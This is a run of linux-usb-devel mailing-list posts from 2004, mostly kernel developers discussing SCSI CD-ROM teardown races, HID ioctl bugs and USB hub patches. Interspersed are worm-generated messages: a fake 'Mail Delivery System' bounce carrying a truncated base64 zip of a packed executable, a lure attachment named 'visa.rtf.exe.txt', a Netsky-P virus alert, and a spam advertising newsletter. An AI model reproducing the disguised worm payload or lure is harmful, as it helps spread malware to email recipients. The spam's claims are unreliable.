[linux-usb-devel] Re: bug 2400
James Bottomley [EMAIL PROTECTED] wrote: Well, I know why this happens, but I'm not entirely clear how to fix it. The problem comes because the cdrom open and close take and release references to the SCSI generic device (as they're supposed to). However, Upper level Drivers like sr are implemented as generic device drivers in the driverfs model. When a USB unplug comes along, it calls scsi_remove_device, which eventually calls device_del(). The problem is that device_del triggers the -remove methods of all the attached drivers and the sr_remove method calls cdrom_unregister which throws away the cdrom device state, even though the actual device has active references. Yes, we reordered some of this in sd. As your comment down below indicates reordering will reduce the window but not eliminate it. Some time later, the device is closed but there's now bogus state because the sr_remove method has kfreed the struct scsi_cd which contains the struct cdrom_device_info. Now, the questions are, whose issue is this and how do we fix it? I can see that a driver needs early notification of unplugs so it can deny all access to a gone device. On the other hand, for a user land open where we still have to hold resources in the driver, we'd like the driver to have a notify when the device reference count drops to zero so we can clean up. This problem, by the way, exists in a lesser form for sd: the sd remove method will free the device for reattachment even though it might have active references. I have looked at the sd issue off and on due to the previous open race reported by Alan Stern. While the window can be narrowed inside SCSI you need help for the calling subsystem to know when it is OK to cleanup and your routine will not be called anymore. A similar problem also showed up in the tear down the host directory entry in /proc/scsi but was only fixed up so far due to its depreciated status. http://marc.theaimsgroup.com/?t=10554517591r=1w=2 I believe as indicated above that all cross subsystem registrations need a release / put callback. This would allow the release chain to be called from block - ULD - scsi core - LLDD. Recently I have not been spending the proper time looking at this, but last look it appeared that we needed to add a release / put method call to the gendisk disk_release routine. The release function or object to do the put on would need to be set prior to the call to add_disk. -andmike -- Michael Anderson [EMAIL PROTECTED] --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
Re: [linux-usb-devel] Re: Unregistering interfaces
Alan Stern [EMAIL PROTECTED] wrote: You can search the lkml archives for the bugs that my kobject patch fixed, as there was some discussion there (otherwise I would have never written the patch...) I searched and found one thread that looks relevant: http://marc.theaimsgroup.com/?t=10635469474r=1w=2 In the final message Mike said that the patch did fix the problem but that a better answer would be to fix the SCSI sd driver. If that's been taken care of then there's no more need for the kobject patch, so far as SCSI is concerned. My test yesterday showed everything working okay without the patch. Mike, can you tell us the current state of the SCSI code? I did change the sd scsi code to correct the order of sysfs calls on tear down. I tried to do it all in sd / scsi core code, but there is still a small window for a open / tear down race in sd. I believe the only way to correct this is to add a release callback from the block layer. There is also another thread that I believe the usb-devel list is copied on that is a similar tear down issue. -andmike -- Michael Anderson [EMAIL PROTECTED] --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
[linux-usb-devel] Undeliverable: account?
Your message To: [EMAIL PROTECTED] Subject: account? Sent:Fri, 2 Apr 2004 02:18:07 -0800 did not reach the following recipient(s): [EMAIL PROTECTED] on Fri, 2 Apr 2004 02:20:07 -0800 The recipient name is not recognized The MTS-ID of the original message is: c=us;a= ;p=verisign;l=MOU1WNEXC030404021020HCHC7Z8K MSEXCH:IMS:VERISIGN:HQ:MOU1WNEXC03 0 (000C05A6) Unknown Recipient ---BeginMessage--- is that yours? alert_OA301448_1080901207_MOU1WNEXC03_3#visa.rtf.exe.txt Description: Binary data ---End Message---
Re: [linux-usb-devel] Re: [PATCH] USB fixes for 2.4.26-pre4
On Wed, Mar 17, 2004 at 04:01:52PM -0800, Greg KH wrote: ChangeSet 1.1290.15.4, 2004/02/02 14:36:26-08:00, [EMAIL PROTECTED] [PATCH] USB: Fixing HID support for non-explicitly specified usages drivers/usb/hid-core.c | 11 +- drivers/usb/hiddev.c | 78 + include/linux/hiddev.h | 75 +++ 3 files changed, 107 insertions(+), 57 deletions(-) [skip] This thing is seriously broken, both for 2.4.x and 2.6.x: 1) Allocating struct hiddev_usage_ref_multi uref_multi on the stack in hiddev_ioctl() is not good - with HID_MAX_USAGES==1024, it is more than 4K. 2) #include linux/hiddev.h from userspace no longer works: first, HID_MAX_USAGES definition is in a private header file; second, #include asm/types.h is needed for __s32 and the like. http://bugme.osdl.org/show_bug.cgi?id=2419 pgp0.pgp Description: PGP signature
[linux-usb-devel] Undeliverable Mail
User mailbox exceeds allowed size: [EMAIL PROTECTED] Original message follows. Received: from tautobiotech.com [218.88.41.109] by liming.com with ESMTP (SMTPD32-7.07) id ADD318790024; Fri, 02 Apr 2004 14:53:07 +0800 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Mail System ([EMAIL PROTECTED]) Date: Fri, 2 Apr 2004 14:57:24 +0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary==_NextPart_000_0016=_NextPart_000_0016 X-Priority: 1 X-MSMail-Priority: High Message-Id: [EMAIL PROTECTED] This is a multi-part message in MIME format. --=_NextPart_000_0016=_NextPart_000_0016 Content-Type: text/plain; charset=Windows-1252 Content-Transfer-Encoding: 7bit Mail Delivery System - This mail contains binary characters - failed message - )Mü#_3j(8jdzXngz1n8YQ,üpg)O4|SxFFwYhkMmUZT DütNwä#8kOYOlBiPN'ph4öI.K-A+?0Mkß.ßnPntHF ;LOjEPY0+PüsJ+tB,Xqßjv'_Uö_#vboFfY9+!U-aoT qxN3KnqiR(w;+h!TzvIy_SR,Z~dn~?nT2P(qgYYbpD sW9x Modified message has been sent as a binary attachment. --=_NextPart_000_0016=_NextPart_000_0016 Content-Type: application/octet-stream; name=data7867.zip Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=data7867.zip UEsDBAoAACI2gjB+cADhaG0AAGhtAABvbXNnLmVtbCAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuc2NyTVqQAAME//8AALgA QAAA6A4fug4AtAnNIbgB TM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAx zIXZda3rinWt64p1reuKda3qimet64oXsviKcK3rip2y4Ip3reuKzavtinSt64pSaWNoda3r igAAQ29tcHJlc3NlZCBieSBQZXRpdGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABM AQMA76BkQAAA4AAPAQsBBgAABGYAAABCoBAgAEAAABAA AAACAAAEAAQAALAEAgAAEAAAEAAQAAAQ EAAA/KEAANAAQAAAaF8A [message truncated] --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
Re: [linux-usb-devel] speedtouch and/or USB problem (2.6.4-WOLK2.3 and 2.6.5-rc3-mm4)
On Wed, 31 Mar 2004, Marc-Christian Petersen wrote: On Sunday 28 March 2004 00:51, Alan Stern wrote: Hi Grzegorz, When running modem_run on 2.6.4-WOLK2.3 it locks in D state on one of USB ioctls. It works at least on 2.6.2-rc2. I have no idea what causes this bug so I sent it to all lists. Please help if you can. Grzegorz Kulewski Try applying this patch: http://marc.theaimsgroup.com/?l=linux-usb-develm=108016447231291q=raw Did this help Grzegorz? No, it did not. This time I tried 2.6.5-rc3-mm4. Seems the patch was already applied in this release. modem_run did not lock (disk sleep state) in the same place, but it locked after writing synchronization succeded to system log. It seems that there is no kernel-stack-for-process-in-proc option in mm (Andrew, can you add it?), so there is no callstack. but still thanks for your help and looking for next :) Grzegorz Kulewski --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
Re: [linux-usb-devel] GeneSys logic chipsets again
Alan Stern wrote: On Thu, 1 Apr 2004, Brad Campbell wrote: Indeed. One thing I did find interesting though is that windows recovered whereas linux needs an unplug/plug to recover (or sometimes a power cycle). I include the bit of USB-Snoopy log that shows the urb going down, the lockup and recovery. If we could get linux to recover these devices then I guess 1 lockup for 10 seconds or so every 500mb is better than a complete freeze. Regards, Brad Windows performs a port reset. The code for doing this on Linux has always been a bit buggy, although it's getting better. However, the delay would be a lot longer than 10 seconds since Linux tries very hard to recover from errors without doing anything as drastic as a port reset. The actual delay (when the port reset stuff starts working right) will probably be more like 70 seconds, maybe longer. After the reset Windows presumably simply repeats the WRITE command. Since the same data gets sent the second time as the first, why doesn't the device just lockup again? Ahah, that's the thing. It's not locking up on the actual data URB, it locks up on the URB after the data was sent. So from what I gather, the data makes it to the disk, it just can't retrieve the status of the transfer. Brad --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
[linux-usb-devel] Re: bug 2400
On Fri, 2004-04-02 at 03:43, Mike Anderson wrote: I have looked at the sd issue off and on due to the previous open race reported by Alan Stern. While the window can be narrowed inside SCSI you need help for the calling subsystem to know when it is OK to cleanup and your routine will not be called anymore. A similar problem also showed up in the tear down the host directory entry in /proc/scsi but was only fixed up so far due to its depreciated status. http://marc.theaimsgroup.com/?t=10554517591r=1w=2 I believe as indicated above that all cross subsystem registrations need a release / put callback. This would allow the release chain to be called from block - ULD - scsi core - LLDD. Recently I have not been spending the proper time looking at this, but last look it appeared that we needed to add a release / put method call to the gendisk disk_release routine. The release function or object to do the put on would need to be set prior to the call to add_disk. Actually, I can't believe this problem to be local entirely to SCSI. So, a simpler mechanism (and more globally useful) might be to have a two phase driver release in sysfs: - the current -remove would stay where it is (as a notify on device_del). On receving this the driver begins clean up enough to drop any internal references to the device it is holding. - then introduce a -release which is called as part of dropping the last device reference where the driver cleans up any resources the driver was keeping to service the removed but not released device. Then, we'd obviously not call unregister_cdrom and kfree the scsi_cd structure until -release time. James --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
[linux-usb-devel] Re: bug 2400
James Bottomley [EMAIL PROTECTED] wrote: Recently I have not been spending the proper time looking at this, but last look it appeared that we needed to add a release / put method call to the gendisk disk_release routine. The release function or object to do the put on would need to be set prior to the call to add_disk. Actually, I can't believe this problem to be local entirely to SCSI. So, a simpler mechanism (and more globally useful) might be to have a two phase driver release in sysfs: I would agree this should be more general than SCSI, but if kobjects are being passed during the registration / setup in other subsystem interfaces than this could already be handled. - the current -remove would stay where it is (as a notify on device_del). On receving this the driver begins clean up enough to drop any internal references to the device it is holding. - then introduce a -release which is called as part of dropping the last device reference where the driver cleans up any resources the driver was keeping to service the removed but not released device. Then, we'd obviously not call unregister_cdrom and kfree the scsi_cd structure until -release time. Maybe some clarification here as I am unsure if we both think there needs to be a notification (a put call) from outside SCSI. We have release functions available on most objects in SCSI now. The issue is that when we register (add_disk, dev_set_drvdata, etc.) or pass a handle to another subsystem we need a reference count agreement to know when the other subsystem is done with the the object. Something like the put_device(parent) used in scsi_host_dev_release. -andmike -- Michael Anderson [EMAIL PROTECTED] --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
[linux-usb-devel] Re: bug 2400
On Fri, 2004-04-02 at 11:45, Mike Anderson wrote: Maybe some clarification here as I am unsure if we both think there needs to be a notification (a put call) from outside SCSI. We have release functions available on most objects in SCSI now. The issue is that when we register (add_disk, dev_set_drvdata, etc.) or pass a handle to another subsystem we need a reference count agreement to know when the other subsystem is done with the the object. Something like the put_device(parent) used in scsi_host_dev_release. Actually, no, that's not the issue here, if I understand you. The reference counting model on the sdev-sdev_gendev seems to be working correctly because sr.c takes a reference to the sdev_gendev on open and drops it on close. The problem is that ULDs are implemented as struct device_drivers and as such, their -remove method gets called *not* on last put of sdev_gendev but on device_del (when there are still active references). sr.c frees the cdinfo structure on -remove, but still has its own reference to sdev_gendev (because the device is still open). On final close, the generic cdrom code tries to use cdinfo to close the device and references a kfree'd structure. Really what sr.c wants to be doing is freeing the cdinfo structure on last put, not on device_del. James --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
Re: [linux-usb-devel] Re: [PATCH] USB fixes for 2.4.26-pre4
Sergey Vlasov wrote: This thing is seriously broken, both for 2.4.x and 2.6.x: 1) Allocating struct hiddev_usage_ref_multi uref_multi on the stack in hiddev_ioctl() is not good - with HID_MAX_USAGES==1024, it is more than 4K. I suppose an artifical limit could be put in (32 maybe?) which forces writes of only N bytes at a time, returning -EINVAL if 32 want to be written. This would also remove the dependence on HID_MAX_USAGES. 2) #include linux/hiddev.h from userspace no longer works: first, HID_MAX_USAGES definition is in a private header file; second, #include asm/types.h is needed for __s32 and the like. As for the types, it was suggested that the explicit size types be used as opposed to unsigned to guarantee structure size. Maybe this needs to be rethought since you claim it breaks userspace. -- James Lamanna --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
[linux-usb-devel] Re: bug 2400
James Bottomley [EMAIL PROTECTED] wrote: On Fri, 2004-04-02 at 11:45, Mike Anderson wrote: Maybe some clarification here as I am unsure if we both think there needs to be a notification (a put call) from outside SCSI. We have release functions available on most objects in SCSI now. The issue is that when we register (add_disk, dev_set_drvdata, etc.) or pass a handle to another subsystem we need a reference count agreement to know when the other subsystem is done with the the object. Something like the put_device(parent) used in scsi_host_dev_release. Actually, no, that's not the issue here, if I understand you. The reference counting model on the sdev-sdev_gendev seems to be working correctly because sr.c takes a reference to the sdev_gendev on open and drops it on close. The problem is that ULDs are implemented as struct device_drivers and as such, their -remove method gets called *not* on last put of sdev_gendev but on device_del (when there are still active references). The remove can do as much or as little as the implementor wishes, but I believe there is still a under lying issue here (see comment below). sr.c frees the cdinfo structure on -remove, but still has its own reference to sdev_gendev (because the device is still open). On final close, the generic cdrom code tries to use cdinfo to close the device and references a kfree'd structure. Really what sr.c wants to be doing is freeing the cdinfo structure on last put, not on device_del. Where does the last put come from? How do you close the open race or know when the final put_disk has been called? SCSI cannot do this alone as we have created and registered an object in another subsystem (alloc_disk and add_disk) and we have no indication when that objects ref count has reached zero. Or As I previous stated in the thread below I have the gendisk / block layer locking mis-understood and there is something that SCSI can do. For reference you can look at this thread sent by Alan about a sd race. http://marc.theaimsgroup.com/?t=10759118583r=1w=2 While freeing in sr could be rearranged more like what sd does there is still the issue of a cross subsystem put to know that the ULDs open function will not be called again. -andmike -- Michael Anderson [EMAIL PROTECTED] --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
[linux-usb-devel] Re: bug 2400
On Fri, 2004-04-02 at 12:44, Mike Anderson wrote: Where does the last put come from? How do you close the open race or know when the final put_disk has been called? SCSI cannot do this alone as we have created and registered an object in another subsystem (alloc_disk and add_disk) and we have no indication when that objects ref count has reached zero. Or As I previous stated in the thread below I have the gendisk / block layer locking mis-understood and there is something that SCSI can do. well, sr has elected to merge these, so it takes a reference to sdev_gendev on first open and releases it on last close of the block device. This is what ties the SCSI model into the final put_disk(). We founder on calling driver -remove before the final put of sdev_gendev. Anything with objects in more than one refcounted subsystem is responsible for tying the refcounts together uniformly. There should be no open race as long as we error out correctly if a reference to the underlying sdev_gendev cannot be obtained (because the object is being destroyed). sr seems to do this correctly. The indication when the non-scsi object's refcount reaches zero is given to us because at that point the sr code does a put of the sdev_gendev (and if this is the last put, that should trigger cleanup). James --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
Re: [linux-usb-devel] [patch/rft 2.6.5] usbcore blinkenlights
On Mon, Mar 29, 2004 at 06:47:53PM -0800, David Brownell wrote: I pulled this out of my BK tree, didn't verify that it still behaves without everything else that's there ... The per-port LEDs on the most USB 2.0 hubs are programmable. And the USB spec describes some ways to use them, blinking to alert users about hardware (amber) or software (green) problems. Mind if I apply this? My USB 2.0 hub doesn't have any LEDs, so I can't verify the blinkenlights option, but the other stuff in this patch looks good to have. And fun features are always nice to add at times :) thanks, greg --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
Re: [linux-usb-devel] [patch/rft 2.6.5] usbcore blinkenlights
Greg KH wrote: On Mon, Mar 29, 2004 at 06:47:53PM -0800, David Brownell wrote: I pulled this out of my BK tree, didn't verify that it still behaves without everything else that's there ... The per-port LEDs on the most USB 2.0 hubs are programmable. And the USB spec describes some ways to use them, blinking to alert users about hardware (amber) or software (green) problems. Mind if I apply this? My USB 2.0 hub doesn't have any LEDs, so I can't verify the blinkenlights option, but the other stuff in this patch looks good to have. And fun features are always nice to add at times :) Feel free! When I send in my refactor enumeration patch (you already merged its predecessors), that'll mean I don't have to strip out the stuff that uses the green blinking light to report the highspeed device in fullspeed port error. So it's not entirely frivolous... :) - Dave --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
[linux-usb-devel] Newsletter with Free Gift Offers
This message conformsto all email spam restrictions for the USA and Canada. To opt out please see bottom of email and we will honor your request. This weeks "Featured Advertiser" HaggleMe.com The alternative to high priced auctions.Both Buyers and Sellerswill find HaggleMe.com to be a user friendly, low priced auction that is growing very fast. HaggleMe.com prides themselves on their excellent tech support and they truly listen to you and your ideas.If you are tired of paying the big auctions most of your profit or you're looking for a good buy...try www.HaggleMe.com...Be sure and check out the sellers specials and free gift offer with your first bid. HaggleMe.com your 21st century alternative to Fantastic online auctioning. Come to Las Vegas"What happens in Vegas" .. stays in Vegas -Las vegas C.C.- - - - - Internet Access - - - - Looking for Reliable Internet Service? www.ValueInternet.netis your answer. Affordable..Reliable internet services from dial-up to Satellite...5x HighSpeed Accelerator..Beginner friendly tech department 24/7 by email and phone. ValueInternet.net is the best there is...so after you have tried to get answers from aol, msn and others and find yourself on hold time and time again, go toValueInternet.netanduse theeasy sign-up online at ValueInternet.net Guarenteed the best there is. Don't forget to check out our new Filtered System ( Clean Internet) Spring is here. Time to get out all those not needed/wanted items and list them at HaggleMe.com * * * * Web Hosting Special only $5.75* * * * Sick and tired of your web host not doing what they say they will? Here is the answer www.NTRackSpace.net NTRackspace offers a hosting package to fit your needs and your budget with 100% satisfaction guaranteed. NTRackSpace.net offers every thing from low cost small web hosting packages all the way up to dedicated servers, co-located servers and everything you could want or need for your personal or company hosting needs. Be sure to see all the great auction buys at The Coin Store. Coins and a whole lot more. Pocketmirrors, collectibles, paintings and more. That's The Coin Shop selling online since 1997. They have auctions starting as low as $2.85 including shipping and a great selection of coins too. Be sure to see all our advertisers, internet specials and great deals at www.YourVirtualSalesman.com ICBargains Internet Store and Auction all in one. Bargains galore and alot of them with free shipping...saving you even more. ICBargains adds new items daily and invites you to come and see them often. Always great service with super productsWhat more could you ask for? Click here to go to: ICBargains Threadsofjoy Fabrics and custom made clothing. Fabrics for crafts and all kinds of things. Do you Yahoo? If not it's time you saw what all is offered at Yahoo.com Get the Virtualsalesman 24/7 at: www.Yourvirtualsalesman.com
Re: [linux-usb-devel] GeneSys logic chipsets again
On Fri, 2 Apr 2004, Brad Campbell wrote: Ahah, that's the thing. It's not locking up on the actual data URB, it locks up on the URB after the data was sent. So from what I gather, the data makes it to the disk, it just can't retrieve the status of the transfer. You're missing the point. Without being able to retrieve the status, Windows has no way to know that data is safe on the disk. So after the port reset it either has to retry (and fail again) or give up and forge on ahead, not knowing whether the data was stored or not. Alan Stern --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
[linux-usb-devel] Re: bug 2400
On Thu, 2004-04-01 at 18:32, James Bottomley wrote:
Now, the questions are, whose issue is this and how do we fix it? I can
see that a driver needs early notification of unplugs so it can deny all
access to a gone device. On the other hand, for a user land open where
we still have to hold resources in the driver, we'd like the driver to
have a notify when the device reference count drops to zero so we can
clean up.
OK, I think this is easily fixable in sr.c by moving around the release
code to do the right thing (and not drop the reference to sdev_gendev
until we're completely finished).
Jens, does this look OK (or have I just opened up another race window
somewhere else)?
James
= drivers/scsi/sr.c 1.103 vs edited =
--- 1.103/drivers/scsi/sr.c Fri Apr 2 11:30:44 2004
+++ edited/drivers/scsi/sr.cFri Apr 2 17:29:06 2004
@@ -424,8 +424,19 @@
static int sr_block_release(struct inode *inode, struct file *file)
{
+ int ret;
struct scsi_cd *cd = scsi_cd(inode-i_bdev-bd_disk);
- return cdrom_release(cd-cdi, file);
+ struct scsi_device *sdev = cd-device;
+ ret = cdrom_release(cd-cdi, file);
+ if(ret)
+ return ret;
+
+ unregister_cdrom(cd-cdi);
+ kfree(cd);
+
+ scsi_device_put(sdev);
+
+ return 0;
}
static int sr_block_ioctl(struct inode *inode, struct file *file, unsigned cmd,
@@ -500,7 +511,6 @@
if (cd-device-sector_size 2048)
sr_set_blocklength(cd, 2048);
- scsi_device_put(cd-device);
}
static int sr_probe(struct device *dev)
@@ -874,9 +884,6 @@
spin_unlock(sr_index_lock);
put_disk(cd-disk);
- unregister_cdrom(cd-cdi);
- kfree(cd);
-
return 0;
}
---
This SF.Net email is sponsored by: IBM Linux Tutorials
Free Linux tutorial presented by Daniel Robbins, President and CEO of
GenToo technologies. Learn everything from fundamentals to system
administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click
___
[EMAIL PROTECTED]
To unsubscribe, use the last form field at:
https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
[linux-usb-devel] VIRUS IN YOUR MAIL
V I R U S A L E R T Our viruschecker found the 'W32/Netsky-P' virus(es) in your email to the following recipient(s): - [EMAIL PROTECTED] Please check your system for viruses, or ask your system administrator to do so. For your reference, here are the headers from your email: - BEGIN HEADERS - From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: A!p$ghsa Date: Sat, 3 Apr 2004 02:05:13 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary==_NextPart_000_0016=_NextPart_000_0016 X-Priority: 3 X-MSMail-Priority: Normal -- END HEADERS -- --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
[linux-usb-devel] Re: bug 2400
James Bottomley [EMAIL PROTECTED] wrote:
= drivers/scsi/sr.c 1.103 vs edited =
--- 1.103/drivers/scsi/sr.c Fri Apr 2 11:30:44 2004
+++ edited/drivers/scsi/sr.c Fri Apr 2 17:29:06 2004
@@ -424,8 +424,19 @@
static int sr_block_release(struct inode *inode, struct file *file)
{
+ int ret;
struct scsi_cd *cd = scsi_cd(inode-i_bdev-bd_disk);
- return cdrom_release(cd-cdi, file);
+ struct scsi_device *sdev = cd-device;
+ ret = cdrom_release(cd-cdi, file);
+ if(ret)
+ return ret;
It looks like cdrom_release always returns 0? Is there some other patch
outstanding that changes this.
-andmike
--
Michael Anderson
[EMAIL PROTECTED]
---
This SF.Net email is sponsored by: IBM Linux Tutorials
Free Linux tutorial presented by Daniel Robbins, President and CEO of
GenToo technologies. Learn everything from fundamentals to system
administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click
___
[EMAIL PROTECTED]
To unsubscribe, use the last form field at:
https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
[linux-usb-devel] Re: bug 2400
On Fri, 2004-04-02 at 19:11, Mike Anderson wrote: It looks like cdrom_release always returns 0? Is there some other patch outstanding that changes this. Yes, not that I know of. However, while it apparently has a return code indicating success or failure, we should respect it [unless Jens wants to make it a void function]. James --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
Re: [linux-usb-devel] [patch/rft 2.6.5] usbcore blinkenlights
On Fri, Apr 02, 2004 at 10:37:05AM -0800, David Brownell wrote: Greg KH wrote: On Mon, Mar 29, 2004 at 06:47:53PM -0800, David Brownell wrote: I pulled this out of my BK tree, didn't verify that it still behaves without everything else that's there ... The per-port LEDs on the most USB 2.0 hubs are programmable. And the USB spec describes some ways to use them, blinking to alert users about hardware (amber) or software (green) problems. Mind if I apply this? My USB 2.0 hub doesn't have any LEDs, so I can't verify the blinkenlights option, but the other stuff in this patch looks good to have. And fun features are always nice to add at times :) Feel free! Ok, I've applied it now. thanks, greg k-h --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
[linux-usb-devel] Re: bug 2400
On Fri, 2004-04-02 at 18:40, Mike Anderson wrote: Greg stopped by and after talking this over I think I see why sd is racing in its current form. The race happens when sd_remove and do_open race. Even though I do not like adding a lock_kernel it would appear adding on to sd_remove would serialize sd_remove and do_open. This would ensure either do_open's get_gendisk returns a gendisk struct and sd ref's are incremented or we will start cleaning up and sd_open will not be called. I would believe similar alignment in sr.c to what sd is doing plus agreement on the lock_kernel should fix both drivers. I think the error out correctly on trying to get a ref on sdev_gendev may need some higher serialization as I think there is a race on a release function starting and the reference count trying to be taken to 1 (i.e. you need something subsystem wide as you cannot look at the item you maybe deleting. I'm not convinced we need any other serialisation. As long as we get the reference we may use the device (of course if the device is being removed and sd_remove is being called, then I/O to it will fail, but I think that's fine). Leaving the user with an open device that won't accept I/O is also fine (as long as it returns the correct error codes). Could you outline what the consequences of this race are? James --- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470alloc_id=3638op=click ___ [EMAIL PROTECTED] To unsubscribe, use the last form field at: https://lists.sourceforge.net/lists/listinfo/linux-usb-devel
[linux-usb-devel] panic on ThinkPad X40, 2.6.5-rc3-mm4, uhci, bluetooth usb
